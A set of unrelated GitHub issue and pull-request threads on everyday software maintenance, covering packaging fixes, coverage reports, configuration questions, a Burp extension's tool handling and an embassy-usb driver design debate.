I'd like to contribute to your projects and if that sounds good to you please put on a license (if you don't know which one to choose just pick MIT).

I've created a license, i think you should be able to contribute now

License created


Add user is online or not component

By adding the components user is online or not I would like to work on this assign it me.

Please assign me this issue under GSSOC'23


builder: fix calculating size of packet for extension data

Extension data length was being provided in units of words instead of bytes.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 74.81%. Comparing base (4fd1a40) to head (df257d6).

Additional details and impacted files
@@           Coverage Diff           @@
##             main      #17   +/-   ##
=======================================
  Coverage   74.81%   74.81%
=======================================
  Files           4        4
  Lines         401      401
=======================================
  Hits          300      300
  Misses        101      101

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Add ability for users to configure video settings per condition

Trying to be more vague/general, but the idea would be, for example, a user has a content creator that they enjoy on a certain platform, and would like for tweaked settings to be maintained only for that creator, they would need to add some page level conditions that would allow the userscript to detect when the user is viewing something from that specific content creator.
This might not be possible in all cases (e.g. embedded video elements), but for general cases, this would be a useful feature.
This item needs the following issues to be completed first: #3 (to better control caching keys/values) and #4 (because I don't think that adding code manually to the script, only to be overwritten by an updated would be comfortable).

Trying to list needed changes/tasks, might change later when development starts:

[ ] Split filters by domain (probably built in, as IndexedDB operators per domain)
[ ] Construct a json structure that can hold both user set requirements (e.g. find by css/title/class/text, equals, contains, greater or equal, etc) and text/html as value.
[ ] Construct a caching key from the json structure.
[ ] Scan for matching identifier/config, and initialize/store setting changes using the generated caching key.


Support of files with .sass, .scss Extension

Hi,
support for SASS/SCSS file would be very nice.
Cheers and thanks in advance
Olaf

I'll look into it. Out of curiosity, as I'm not familiar with SASS - how commonly used is this style of doc comment formatting?

It is quite popular(and often recommended, s. https://cssguidelin.es/#commenting). While you have // to comment out single line and /* ... */ for multiline comments in SASS, following the Javadoc standard allows to document the source code more clearly.

Okay, I just pushed an update that adds javadoc comments to .css/.scss files. Try it out and let me know if there's any issues.

Hi, great! It would be nice if the completion after pressing the return key is identical to other languages.
Current in .scss files (after typing /** + press the return key):

/**
| */
Default in other languages:
/**
 * |
 */
Thanks!

There's definitely an issue right now where it behaves erratically. Sometimes it won't add the */ if you type /**, and sometimes I see the problem you've described. This actually can happen in C/C++ as well, but less often for me. I don't believe my code is causing this (could be wrong), so maybe there's a bug in VS Code, or there are conflicts due to the way the extension API is designed.
I would suggest reloading your workspace and seeing if it works because that does fix it sometimes. Meanwhile I'm going to see if I can eliminate the problem, but I'm worried that the only way to fix it might be to make the extension much heavier.

Thank for your effort.


Fixing DomElement position when camera zoom != 1

This PR (delete as applicable)

Fixes a bug

Describe the changes below:
When the camera zoom is set to any other value than one, if a dom element origin if set to anything other than 0, the final position of the DOM was incorrect.
The complete bug is described in #6817.
I traced this back to the DOMElementCSSRenderer.
After some trial and error, I realized the translation needed to be applied after camera multiplication and not at the beginning.
With this change, DOMElements are correctly positioned.
This closes #6817 and https://github.com/workadventure/workadventure/issues/3936 (where you can see a video of the issue in action)
Note: I very much suspect the same error happens in the "if" clause, if a parent matrix is set. However, I don't know how to test this. Any help is welcome to help me test this out.

Note: this also fixes those issues:

https://github.com/phaserjs/phaser/issues/6607
https://phaser.discourse.group/t/dom-elements-get-out-of-place-when-using-zoom/13527
https://phaser.discourse.group/t/dom-element-and-camera-zoom/11662/5

Note: I very much suspect the same error happens in the "if" clause, if a parent matrix is set. However, I don't know how to test this. Any help is welcome to help me test this out.

With the advice of @rexrainbow I was able to test the case where the parent matrix is set by adding the DOMElement inside a container. Hopefully, this case was already working correctly so does not need a fix. See https://phaser.io/sandbox/FRfpYx4G
So this PR is ready to merge! :+1:

Would it be possible to merge this PR? I'm super interested and other issues have come up on this subject.


gopls: change root_dir function for files in $GOPATH/pkg/mod

Closes an issue #804

This needs to be rebased :)

@mjlbach done)

If this is still relevant after the recent changes, can you rebase and update (or close otherwise)?

I'm aware of this PR and it's still relevant, but it's still unclear what to do about it. You can check the discussion in the linked issue.

Looks like this pr is out of date.


chore(tools): expose browserSync configuration

Exposes the browserSync configuration to the seed configuration. Can now easily be overridden.

also fixes a bug where --base wasn't working if you do a npm cache clean && npm install/
For whatever reason browserSync routes with a trailing slash are currently non functional.

@njs50  Out of sheer curiosity, what are you doing with browserSync that you need the override?

In our case, we want to change the default ghostMode option.

it can be a bit confusing when doing stuff in one tab does the same thing in all your other tabs (or iframes). The default ghostMode relays all events between all open browsers.

@d3viant0ne in particular our pattern library which uses our ui components, and also has examples of them running in iframes can cause weird things with it enabled.


Add --listen argument

We enabled listening by default, which really does make sense. There seems to
be a bug around how we pick up the state of a neighbor however. I'm not
entirely sure if we are doing the wrong thing or if it's a bug in ExaBGP. Until
it has been resolved we are going to disable listening per default and instead
have this --listen option to selectively enable it if and when needed. Once the
neighbor state issue has been resolved I reckon we can listen per default
again.

Local testing this works and is a valid workaround for #135 since we effectively avoid the connection collisions.


v0.2.0: pip installation does not work

While v0.1.0 works for me, after installing it with pip, the whole package "neo4j_backup" is not found. Under ../site-packages, only the ".dist-info" directory is being created.
Tested with python3.10.

First time using pyproject.toml, I believe I have fixed the packaging issues in v0.2.2. Would you be willing to verify that v.0.2.2 works for you?

Thank you for your quick response and the great work in general! I just tested your new version. There is a difference: The site-packages directory is now created. Unfortunately it is still created with the wrong name "neo4j-backup" instead of the underscore "_". When I manually change that name, the rest works as expected.

The package-folder inside your "src"-directory is still spelled with the "-", maybe that is the issue?

I just tried that, it does not seem to fix the issue for some reason. I am wondering if it is because the root directory is neo4j-backup

You were right, it was the "-" in the src directory, changing the name to "neo4j_backup" worked. I just forgot to run "pip compile" before building. Can you check v0.2.4 to make sure it works for you? Thank you so much for your help!

Now it works, thank you for the quick fix!


a phrase in the empty keyword box as placeholder

Create config name, keyword placeholder

Fixed by #13


Prepare the package to be installed via NPM

There are three main build targets:

dist/index.js
A ES6 / CommonJS module that can be required or imported in projects
that support modules.

dist/salary-calculator.js
A script exposes global SalaryCalculator variable. Can be simply
referenced in an HTML script tag. See website/custom.html

dist/index.html
an HTML file that can be directly opened in the browser. Keep in
mind that to work it needs other files in dist/ directory. If copying to
another project, copy entire directory. See website/Makefile for example
of that.

There is also a website/ directory containing a sample integration with
outside projects. Later we can use it for:

Publishing stand alone website for Salary Calculator
Automated integration testing

Caveats:

I had to tweak Makefile a bit. Most notably the .installed file is
now created before the npm ci is run. That's to avoid endless look (make
-> npm ci -> make ...). I'm not happy about it. One problem is that if
the npm ci command fails or is terminated, then make wrongly assumes
that dependencies are installed. Another is that test, link and build
are running twice after change in dependencies. For npm install there is
--ignore-scripts flag that would be appropriate here, but ther
apparently is no equivalent for npm ci.

The dist/index.html file assumes that script is at
/salary-calculator.js (absolute path).  There may be a way to tweak
parcel to make it relative.

Most notably the .installed file is now created before the npm ci is run.

This is quite a blocker.
This PR seems a bit too much of code & configuration for the "simple" task of publishing a compiled elm.js file.

The .installed thing is a bummer for sure. Maybe we can find a better way together. I'm really clumsy with make.

[...] a bit too much of code & configuration [...]

Really? I count 9 lines of code more than before:

4 lines added to Makefile,
3 to index.html,
1 to src/index.js
1 to src/salary-calculator.js

Everything that is in website/ directory is just an example. You can delete this directory and it will still work the same.
The benefit is that you can just install it in minisites the standard way JS dependencies are installed (NPM or Yarn). Then you get semantic versioning, modules and script tags working. This is how everybody in front-end works. I really feel that we should talk about this before you make your mind.

The .installed problem is addressed.


Version dropdown on https://book.cakephp.org/phinx has broken links

The two versions there link to:
0.12: https://book.cakephp.org//phinx/12/en
0.11: https://book.cakephp.org//phinx/11/en
It looks like the docs do not support displaying minor versions?

@markstory might have more info here.

It looks like the docs do not support displaying minor versions?

only major versions supported , so just we have 0 here

His should be fixed now.


New Extension Publish to  BC prompt message "An extension with same App ID and version has already been uploaded."

I having issue when i publish my extension to BC  Production Environment. This Extension i never publish before why system will prompt me the following message ?
"An extension with same App ID and version has already been uploaded. Resolve and deploy again."

Did you try to change id (GUID) property from app.json file?

Did you try to change id (GUID) property from app.json file?

No. This is new extension created. And also first time publish in this instance.

It appears that this extension has been published on multiple other tenants. If you've recompiled the extension package since you uploaded it to the other tenant, the new extension package will have a different Package ID than the original package that was uploaded. Our system requires that any per-tenant extensions with the same AppId/Version also have the same Package ID, regardless of which tenant(s) it's published to. This is required so that we don't manage to publish the "same" extension twice (base on AppId/Version) to a service with different metadata in each.
Your options are to (1) make sure to use the exact same package when publishing to multiple tenants or (2) change the AppId, Name, or Version to maintain uniqueness across tenants. Option 2 is the recommended approach.
Check out the "Important" section in this documentation: https://docs.microsoft.com/en-us/dynamics365/business-central/dev-itpro/developer/devenv-deploy-tenant-customization


Feature request: messages endpoint

I'm wanting to hook into messages (at https://secure.meetup.com/messages/ ) to be able to read these from Pidgin, but can't see any docs for this at http://www.meetup.com/meetup_api/

we don't have plans to expose this to 3rd party applications at this time


Added food ordering app idea

Please let me know if there's any mistake. Happy contributing to this project!

Please add the hacktoberfest labels if possible. Thank you in advance!


Remove outdated comments from the code that created veth

In #7705, the host veth is created directly in the host namespace, rather than being created first in the container namespace.
Signed-off-by: iiiceoo<EMAIL_ADDRESS>

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

/sem-approve


Use return values to fix ubuntu release build error

Fix ubuntu release build error introduced in PR #7588

Turns out the ubuntu build warnings actually exposed a real issue in the async_engine.  In the case where we had already created the synchronization object, the engine was not actually causing ASYNC_pause_job.  So by the time my test delay thread tried to signal, the SSL connection and associated synchronization objects had already been cleaned up.

[approve ci autest]

Cherry-picked to v9.1.x branch.


Offline / Private Environment

Hello,
Is it possible to add a prefix variable that can be appended to all container names, allowing us to run a fully offline copy of drone using a mirrored set of containers.
Essentially we're using Artifactory, and we want to have a non-internet connected test environment - and plugins for the various elements would be mirrored to artifactory - requiring a prefix to be specified for the FQDN on the container pulls.
Right now, no internet - no love - unless I've missed something dramatic here.
-steve

drone will always fall back to the local Docker cache (on the host machine) and will happily execute if the required images are in the local cache. If you want to change to use an internal registry you will need to publish images or plugins to your registry and then reference them in the yaml using the full name:
build:
  image: foo.com/golang

deploy:
  slack:
    image: foo.com/slack

Then you will need to include your plugins in the white list. You can do so by adding the following configuration to your drone server:
PLUGIN_FILTER=plugins/* foo.com/*

For all future questions, please use our gitter room to reserve the issue tracker for bug reports. Thanks!

Does this apply for the Git plugin too?
Sent from my iPhone

On 15 Apr 2016, at 01:52, Brad Rydzewski<EMAIL_ADDRESS>wrote:
drone will always fall back to the local Docker cache (on the host machine) and will happily execute if the required images are in the local cache. If you want to change to use an internal registry you will need to publish images or plugins to your registry and then reference them in the yaml using the full name:
build:
image: foo.com/golang
deploy:
slack:
image: foo.com/slack
Then you will need to include your plugins in the white list. You can do so by adding the following configuration to your drone server:
PLUGIN_FILTER=plugins/* foo.com/*
For all future questions, please use our gitter room to reserve the issue tracker for bug reports. Thanks!
—
You are receiving this because you authored the thread.
Reply to this email directly or view it on GitHub


Expose new path used to compute new url in RequestRedirect

The RequestRedirect exception is raised with new_url set to
the computed URL that should be redirected to, but we don't
expose the path that was used to compute the URL in the exception
so depending code needs to urlparse() the URL even though
werkzeug already has the path and can pass it along in the exception.
Referring to this example code:
    def resolve_endpoint(self, environ, path, method):
        """Resolve endpoint from the url map.

        :environ Environment: The environment.
        :path str: The request path.
        :method str: The request method.
        :returns str: The endpoint from the url map.
        """

        urls = url_map.bind_to_environ(environ)
        try:
            endpoint, _ = urls.match(path, method=method)
            return endpoint
        except routing.RequestRedirect as e:
            r = urlparse(e.new_url)
            return resolve_endpoint(environ, r.path, method)
            # FIXME: this could be e.new_path if RequestRedirect passed path
            # return resolve_endpoint(environ, e.new_path, method)
        except (wexc.NotFound, wexc.MethodNotAllowed):
            pass

        return None

What situation do you need this in?

In this case it's a WSGI middleware that uses werkzeg's routing module for matching routes to know when to apply a specific logic. The module does a great job to match URLs but we need to handle cases where URLs contain a trailing slash or double slashes in the middle of the URL.
Example: Lets say we want to match /some/cool/url we also need to match //some/cool/url, /some/cool/url/ and /some//cool/url – works great in the current form but we could optimize away the extra urlparse() per request if werkzeug exposed the URL path it wants to redirect to and not only giving us the full URL in the RequestRedirect exception.

You could disable merge_slashes, strict_slashes, and redirect_defaults if you don't want to cause redirects and just want them to match the endpoint. You'll presumably end up with the redirects anyway once you route in the app, which would result in this logic running multiple times (the first when you match without redirects and apply it, the the second after you redirect then match and apply again). Also note that redirects can happen for other reasons, such as the rule itself being a redirect, and redirects can go to more places than the current host or subdomain. So it's not clear this would be usable in all cases.
If you're calling match in middleware, then calling it again in the actual app to do routing, then presumably the performance of a single urlsplit call is insignificant. But if it is significant, you can also do much simpler fast string operations to get the path: path url.partition("/")[2].partition("#")[0].partition("?")[0].

This is how the Map and Rule is setup, with this and the resolve_endpoint() above we can have it return cool as endpoint for all the URLs in my previous comment, and if it returns None we just pass the request directly to the application without intercepting it.
url_rules = [
    routing.Rule('/some/cool/url', methods=['POST'], endpoint='cool'),
]
url_map = routing.Map(
    rules=url_rules,
    strict_slashes=False,
    merge_slashes=True,
    redirect_defaults=False,
)


Run executable without displaying console

Description
Now running executable will showing a console window that prints out debug messages. It would be much more elegant to hide this.
Possible Solution

raysan5/raylib#324
https://stackoverflow.com/a/76524140
Thru a .bat file or something to run it in the background?

My Attempts

Need to pass compiler flags to Zig's backend llvm, which seems impossible for now. ziglang/zig#12726
This will suppress almost all messages, but there's still a blank console window.

Solved! solution
Just add exe.subsystem = .Windows to build.zig


app-uiautomator.apk

error install app-uiautomator.ap

k

Same

Dear All,
Can you all try this version and let me know if it works before I update the version in github.
https://mega.nz/file/4tpkyJTI#GXDzqdLHiortljC-PPBf8VX2nKToodjLcID3QzkNa_A
If it doesn't work, download v1.9.0, run it. If it can run, run v1.11.0, it will work.
This is a temporary solution until someone can test for me if the patch I posted above works or not.

Error

Fixed whit use 1.9 and then 1.11, nice

Fixed whit use 1.9 and then 1.11, nice

Hi, have you tried using the link from above before trying the v1.9 method?

Yes, but this not works without first using the v1.9

Thank you. We have updated the download page with a new note that this version won't work for new users and need to run with old version first. We will continue to investigate the issue and will update the file once we have a solution.


[HUDI-758] Modify Integration test to include incremental queries on MOR tables

What is the purpose of the pull request
Extend IntegrationTest to do incremental reads on MOR tables and validate responses
Brief change log
Extend IntegrationTest to do incremental reads on MOR tables and validate responses
Verify this pull request
ITTestHoodieDemo only change.
Committer checklist

[ ] Has a corresponding JIRA in PR title & commit

[ ] Commit message is descriptive of the change

[ ] CI is green

[ ] Necessary doc changes done or have another open PR

[ ] For large changes, please consider breaking it into sub-tasks under an umbrella JIRA.

@bhasudha could you please take a look? this is relevant to wht you are fixing

Codecov Report

Merging #1479 into master will increase coverage by 71.02%.
The diff coverage is n/a.

@@              Coverage Diff              @@
##             master    #1479       +/-   ##
=============================================
+ Coverage      0.62%   71.65%   +71.02%
- Complexity        2      290      +288
=============================================
  Files           299      338       +39
  Lines         14645    15931     +1286
  Branches       1483     1625      +142
=============================================
+ Hits             92    11415    +11323
+ Misses        14550     3784    -10766
- Partials          3      732      +729

Impacted Files
Coverage Δ
Complexity Δ

...java/org/apache/hudi/client/HoodieCleanClient.java

...va/org/apache/hudi/avro/MercifulJsonConverter.java

...java/com/uber/hoodie/hadoop/HoodieInputFormat.java

...die/hadoop/realtime/HoodieRealtimeInputFormat.java

...ava/org/apache/hudi/metrics/JmxReporterServer.java

...g/apache/hudi/metrics/MetricsGraphiteReporter.java

...c/main/java/org/apache/hudi/table/CleanHelper.java

...va/org/apache/hudi/metrics/JmxMetricsReporter.java

...java/org/apache/hudi/common/HoodieJsonPayload.java

.../org/apache/hudi/utilities/sources/JsonSource.java
100.00% <0.00%> (ø)
1.00% <0.00%> (?%)

... and 307 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update bd716ec...c0f6f42. Read the comment docs.


fix: tooltype mappings for target and logger

AI-Generated Summary
PR Summary
Overview of Changes
This pull request heralds a tidy embellishment to the marauding seas of the README documentation, a crafty upgrade to the build version, and an astute enhancement in the StickyBurp extension's handling of HTTP requests and context menu behaviors. By expanding support within Burp tools and refining tool identification logic, this update promises smoother navigation and interaction for privateers charting through the HTTP Request and Response treasuries. Moreover, the addition of tool type checks before executing HTTP request modifications ensures that only relevant voyages are altered, maintaining the integrity of the expedition.
Key Modifications

README Enhancements: Broadened the scope of Burp tools support in the README, now encompassing both HTTP Requests and Responses across a variety of Burp tools, including the Target (Site Map).
Build Version Bump: Upgraded from version 1.0.1 to 1.0.2 in the build.gradle.kts, signaling an improvement and preparation for further adventures.
Improved Tool Identification in Context Menus: Incorporated detailed logic in StickyBurpContextMenu.kt for identifying the source Burp tool (e.g., "Proxy", "Target") based on invocation type and using isFromTool for certain conditions, enhancing accuracy for feature interactions.
Selective HTTP Request Handling: In StickyBurpHttpHandler.kt, introduced checks to proceed with request modifications only if the request originates from specified Burp tools (e.g., Proxy, Repeater, etc.), ensuring that modifications are applied appropriately and not universally across all tools.

Potential Impact

Enhanced user experience by offering more detailed and accurate tool support within the extension's features, reducing potential confusion and improving efficiency.
The updated tool detection mechanism might alter the behavior for some users, depending on their use of the StickyBurp extension, leading to a more streamlined interaction approach.
Restricting HTTP request modifications to specified tools reduces unnecessary processing and potential errors, focusing the extension’s capabilities on relevant contexts.

This summary was generated with ❤ by ads @ rigging

fixes https://github.com/GangGreenTemperTatum/stickyburp/issues/11


Should this action support with.branch?

The buf docs indicate that branches have replaced drafts. They show an example of using branches with this action:
https://buf.build/docs/bsr/module/configure#publishing-branches
Yet AFAICT action doesn't have a with.branch option. It only has with.draft.

Yes, this action should support with.branch, we are currently in the process of moving our workflows towards branches, so we have not quite updated this action yet.
We will be putting out branch support with the action soon! :)

The new buf-action has been released to support many of the new features with the v2 config. For push, it will automatically label the commit with the correct git-metadata and keep your branches in sync with the BSR. Please take a look!


How to display/print metric values in html template

Hi,
I'm trying to find a way to display/print metric values in html email template (using golang template of course), but I can't figure out how to do this. Is it possible to do this or I need to create a separated file for custom functions?
I've already tried to print out the metric inside the html template with:
{{ printf node_memory_MemTotal_bytes }}, and the same inside the file .yml in alertmanager's rules in annotations part but without result.
Any suggestions is very appreciated,
thanks

+1, i'm searching for the same things...

This is a usage question, and should be asked on the mailing list<EMAIL_ADDRESS>where multiple people could benefit.
The template reference documentation is available on the prometheus website: https://prometheus.io/docs/alerting/notifications/

This has been answered here: https://groups.google.com/d/msg/prometheus-users/fLURp1-tZqY/vIBq11M-CAAJ


Can't I connect to the Kovan Test Net?

I would like to log into Test Net and test it.
Can you tell me how to do it?

There is no Login into any Ethereum network.
This is Alpha software. Please read the docs and ask a more specific question.


Synth and Validation steps do not pick up misconfigured VPC Interface Endpoints

Describe the bug
When creating VPC Interface Endpoints, misconfigured entries do not get validated or checked, resulting in successful pipeline releases, but with inexistent endpoints. Troubleshooting is very difficult and misleading.
Example of misconfigured endpoints on network-config.yaml:
    interfaceEndpointConfig:
      defaultPolicy: Default
      endpoints:
        - ec2
        - ec2messages
        - ssm
        - ssmmessages
        - rds
        - lambda
        - execute-api
        - sns
        - sqs
        - states
        - sync-states

Correctly configured endpoints:
    interfaceEndpoints:
      defaultPolicy: Default
      endpoints:
        - service: ec2
        - service: ec2messages
        - service: ssm
        - service: ssmmessages
        - service: rds
        - service: lambda
        - service: execute-api
        - service: sns
        - service: sqs
        - service: states
        - service: sync-states

To Reproduce
To reproduce the error, simply deploy the interfaceEndpointConfig object as above in any VPC or VPC template.
Expected behavior
LZA pipeline synth and validation steps should pick up the misconfiguration and alert the users for effective fix.
Please complete the following information about the solution:

[x] Version: 1.4.3
[x] Region: ap-southeast-2
[ ] Was the solution modified from the version published on this repository?
[ ] If the answer to the previous question was yes, are the changes available on GitHub?
[x] Have you checked your service quotas for the sevices this solution uses?
[ ] Were there any errors in the CloudWatch Logs?
Unclear on which Log Group to search for errors, since pipeline didn't present any exceptions

Additional context
Happy to assist on the resolution. Thanks!

Hello @hplm, thank you for filing an issue with the Landing Zone Accelerator team!  I have filed a feature request to add the validation steps. I will keep this issue open and keep you up to date on the status of this issue.
I have re-categorized this issue as an enhancement. I will update this issue accordingly, thank you for your interest in the LZA!


Define error scenarios and behaviors for CLI

If an error occurs while the tool runs, the CLI should return unsuccessful error codes.

Thanks @fmms.  I'll close #196 in favor of this one.


fix: install fal and adapter local prereleases correctly

Was part of #727, taken out.

Tests are running into this error:
No module named 'dbt.contracts.graph.parsed'

We will see this go away after we merge #727 . Let's merge that first, we rebase and see these tests pass.


Use readthedocs-common to share linting files accross different repos

Removes local linting files
Adds https://github.com/rtfd/readthedocs-common as submodule
Adds symlinks to the linting files from the common repo

One minor problem that I see here is that modifying the config files on that repo won't affect inmmediately to the other repos (won't trigger a tox process with the lint env) and we won't know if that change is correct.
So, I think we could configure to trigger this once a PR is created in the readthedocs-common repo.

I think that is actually a feature of using submodules here. It also allows us to pin to a specific commit in the common branch for each repo, so sudden changes won't automatically affect all repositories.
Hopefully we have things tuned enough now that it won't be too much of a problem though.
The one problem I anticipate with the shared repo is that changes to the common rules will require us to run checks against all of the parent repositories to ensure things don't break horribly. We'll work that out later though


Improve Unit Test Coverage of Conditions

Summary
Adds additional unit tests to improve the coverage of Conditions. Also alphabetises the xcodeproj file.

Current coverage is 47.90% (diff: 100%)

Merging #39 into master will increase coverage by 5.13%

@@             master        #39   diff @@
==========================================
  Files            35         35
  Lines           526        526
  Methods           0          0
  Messages          0          0
  Branches          0          0
==========================================
+ Hits            225        252    +27
+ Misses          301        274    -27
  Partials          0          0

Powered by Codecov. Last update a2e3076...b8d0737


embassy-usb does not poll the bus during control transfers

I'm playing around with writing a embassy-usb-driver implementation for esp32 chips.  I'm doing it slightly differently than the embassy-stm32 crate (even though esp32 also uses a similar synopsys USB core).
I was (am?) hoping to have almost everything driven by Bus::poll().  There is only a single USB interrupt, and I was hoping avoid modifying any device state in the interrupt handler, and simply having it wake the bus poller to that device state changes are only done in the main executor thread.  However, this doesn't appear to work, and it looks like this is because UsbDevice::run_until_suspend() stops polling the bus while it is handling a ControlPipe event.  In my case, this means the control handler gets stuck and never makes progress if Bus::poll() needs to be called to drive the control transfer forwards.
It seems undesirable to stop polling the bus for periods of time?  It would seem to me like we would still want to process any bus events that occur even while a control endpoint transfer is in progress.
The embassy-stm32 appears to work around the fact that Bus::poll() doesn't get called by having the interrupt handler check each endpoint for events, and individually wake each endpoint instead of just waking the bus.  I was ideally hoping to avoid this, since this means we need to modify the device state while in the interrupt handler, and would need more careful use of critical sections to synchronize the interrupt handler's work with work done on the embassy executor.
The main challenge with continually polling the bus appears to be the fact that UsbDevice::handle_control() needs a mutable reference to the UsbDevice for the duration of it's operation, so it cannot simultaneously poll the bus while this is ongoing.

In the short term, I think I can work around this in the driver by checking for interrupts to service both in Bus::poll() and in any method invoked on Endpoint 0.  This should work, but is slightly more awkward and makes the driver a bit more aware of how the higher level code works than I would like.
I do have a proposal for how this issue could be addressed, and I think it would fix some other issues that currently require drivers make more use of unsafe code than necessary:
It would be nice to add some new class to store shared state needed by the driver.  Both the Bus and ControlPipe need to access some shared state (e.g., the underlying USB peripheral, and any other data the driver needs), but currently embassy-usb provides no place to to store this.  This forces drivers to store it as a global object with static lifetime, and use unsafe blocks to access it.  e.g., in the embassy-stm32 driver they have the global T::state() object, and use unsafe blocks to mutably access its members like state.ep0_setup_data.
It would be nice to actually add some sort of State class to the API, so that drivers had a legitimate place to store this data and could let Rust actually verify safeness of accesses.  The Bus and ControlPipe object can then both have a references to this state object (I would give them some thing like &RefCell<State::Inner> so that they can both reference the state and use RefCell::borrow_mut() when they need to access it).  Higher level user code could still store the State object statically on the stack if they desire (particularly since it would be immovable for the lifetime of the Bus and ControlPipe), but it's then up to them to decide if they want to do so.
Having this State object also then provides a good place for the embassy-driver-usb to do interrupt servicing.  It could have a State::run() method that you call and which just runs forever processing interrupts, waking up ControlPipe and Bus as necessary.  This would let a lot of work be done in a normal embassy task, rather than inside the interrupt handler, since the interrupt handler requires manual use of critical sections rather than letting us use normal Rust mechanisms to ensure safety.

I'm playing around with writing a embassy-usb-driver implementation for esp32 chips. I'm doing it slightly differently than the embassy-stm32 crate (even though esp32 also uses a similar synopsys USB core).

it uses the exact same core, in fact there's talks of extracting the stm32 driver so it can be reused for esp32. you might be reinventing the wheel :)

I was (am?) hoping to have almost everything driven by Bus::poll(). There is only a single USB interrupt, and I was hoping avoid modifying any device state in the interrupt handler, and simply having it wake the bus poller to that device state changes are only done in the main executor thread (...)

iirc there were issues with this approach. There's a single FIFO for all RX'd packets, which causes problems because you can't control the order you read things from the hardware. For example, if there's 2 tasks each reading on EP0 and EP1, and the EP0 task gets polled, it can't simply go and read the packet from the hardware because it might get the EP1 packet and it has nowhere to put it.
Therefore no matter what you do you still need some synchronization between tasks. Let's say we make poll() be always called and make it handle the packets for all endpoints. Then reading a packet from EP1 would be 2 context switches (irq -> usb task doing poll() -> user task doing read() on ep1), vs now it's just 1 (irq -> user task doing read() on ep1) which is faster.

It would be nice to add some new class to store shared state needed by the driver. Both the Bus and ControlPipe need to access some shared state (e.g., the underlying USB peripheral, and any other data the driver needs), but currently embassy-usb provides no place to to store this. This forces drivers to store it as a global object with static lifetime, and use unsafe blocks to access it. e.g., in the embassy-stm32 driver they have the global T::state() object, and use unsafe blocks to mutably access its members like state.ep0_setup_data.

embassy-stm32 uses globals because it decided to. Drivers can decide to do what you suggest instead, with no collaboration needed from embassy-usb. Define a State struct, take a &State on new(), share it to all the driver parts (bus, controlpipe, endpoints...).

it uses the exact same core, in fact there's talks of https://github.com/embassy-rs/embassy/issues/2494 so it can be reused for esp32. you might be reinventing the wheel :)

Yeah, I realize that I'm probably doing some redundant work.  I was doing this in part since I had already written a custom async-ish C++ driver for esp32 in the past, and was interested in porting that code to Rust, partly as a way to learn a bit more about embassy as I go.
I also have been attempting to do this using the esp-hal, and it's API for accessing the USB registers is pretty different than the STM32 APIs.  That said, it turns out that the USB register blocks in the esp-pacs crate has a number of bugs, and trying to port my driver code has at least helped expose several bugs in the SVD files.  I've submitted some PRs to the esp-pacs crate, and they did also point me to the issue you linked above.  Here was the discussion in esp-pacs: https://github.com/esp-rs/esp-pacs/issues/212
I wasn't really that familiar at all with the esp-pacs stuff before I started this (or the STM ral code).  After having played around with it some now I do think it indeed might be a reasonable approach on esp32 to have the user pass in the esp-hal USB0 peripheral for borrow-checking purposes, but then just ignore it and access the USB registers directly through whatever other API we want.

iirc there were issues with this approach. There's a single FIFO for all RX'd packets, which causes problems because you can't control the order you read things from the hardware. For example, if there's 2 tasks each reading on EP0 and EP1, and the EP0 task gets polled, it can't simply go and read the packet from the hardware because it might get the EP1 packet and it has nowhere to put it.

This is pretty much precisely why I want just a single main "State" task to service all interrupts: when an interrupt occurs you don't really know what endpoint it is for, and you have to do some processing (and state access) first just to decide if it is for a specific endpoint.  My intention is to have the USB interrupt handler just wake 1 main interrupt servicing task.  This tasks can service all interrupts when it wakes, and then wake individual endpoint tasks (or the bus event handler task) as necessary.

Therefore no matter what you do you still need some synchronization between tasks. Let's say we make poll() be always called and make it handle the packets for all endpoints. Then reading a packet from EP1 would be 2 context switches (irq -> usb task doing poll() -> user task doing read() on ep1), vs now it's just 1 (irq -> user task doing read() on ep1) which is faster

Yeah, I don't have things working enough yet to have done any benchmarking.  If the task switching overhead is high you may be right that this isn't a worthwhile trade-off.
The main thing I was hoping to avoid here is to avoid needing any manual critical sections around data access, and just letting the Rust compiler do it's normal thing to validate correctness.  Even between separate tasks I believe I shouldn't need any mutexes or critical sections.  The only thing I'm using is just a RefCell::borrow_mut() to guard access to the central state object, and even then this mainly seems like just a runtime soundness check that in theory potentially could be optimized away if desired.
Having to service the RX FIFO inside the interrupt handler just seems to make synchronization somewhat trickier to get right, and we can't really rely on the rust compiler to validate correct access for us then.

embassy-stm32 uses globals because it decided to. Drivers can decide to do what you suggest instead, with no collaboration needed from embassy-usb. Define a State struct, take a &State on new(), share it to all the driver parts (bus, controlpipe, endpoints...).

Ah, that's a good point.  Yes, that should work to have callers declare the State object for me and pass it in to Driver::new().  Thanks!

The main thing I was hoping to avoid here is to avoid needing any manual critical sections around data access, and just letting the Rust compiler do it's normal thing to validate correctness. Even between separate tasks I believe I shouldn't need any mutexes or critical sections. The only thing I'm using is just a RefCell::borrow_mut() to guard access to the central state object

that won't work if usb task are at different priorities. Note embassy_stm32::usb::Endpoint is Send, it won't be if it contains a &State that contains a RefCell.

that won't work if usb task are at different priorities. Note embassy_stm32::usb::Endpoint is Send, it won't be if it contains a &State that contains a RefCell.

Yeah, I had only been planning to support using the USB objects within a single Executor, and require users do their own message passing between tasks if they want to interact with the USB device from other Executors.  (That is basically how my C++ implementation works: all USB work is done a single FreeRTOS task that generally does non-blocking work around an xTaskNotifyWait() loop, and if users want to interact with the USB device from other tasks they need to send messages to it.)
I suppose it would be possible to have a cfg option to control whether endpoints are Send or not, and to use a critical section only if this option is enabled.  On esp32s2/s3 I believe critical sections use a spinlock to protect multicore access.  It seems like it would be nice if we could have a spinlock just for the USB system rather than blocking work on the other core that uses a critical section but isn't related to USB.
Anyway, I'm continuing to poke around getting my code to work just since I am pretty close to having it working, but I may take a stab at getting the embassy-stm32/usb/otg.rs code to work and seeing if I can extract that out so the code can be shared rather than having 2 separate implementations.  At the moment I don't have an STM32 device to test with to make sure I haven't broken the stm32 implementation, but I'll try to get one.

Also, while debugging my implementation I did notice on thing that seems like it might be a minor bug in the embassy-stm32 implementation?
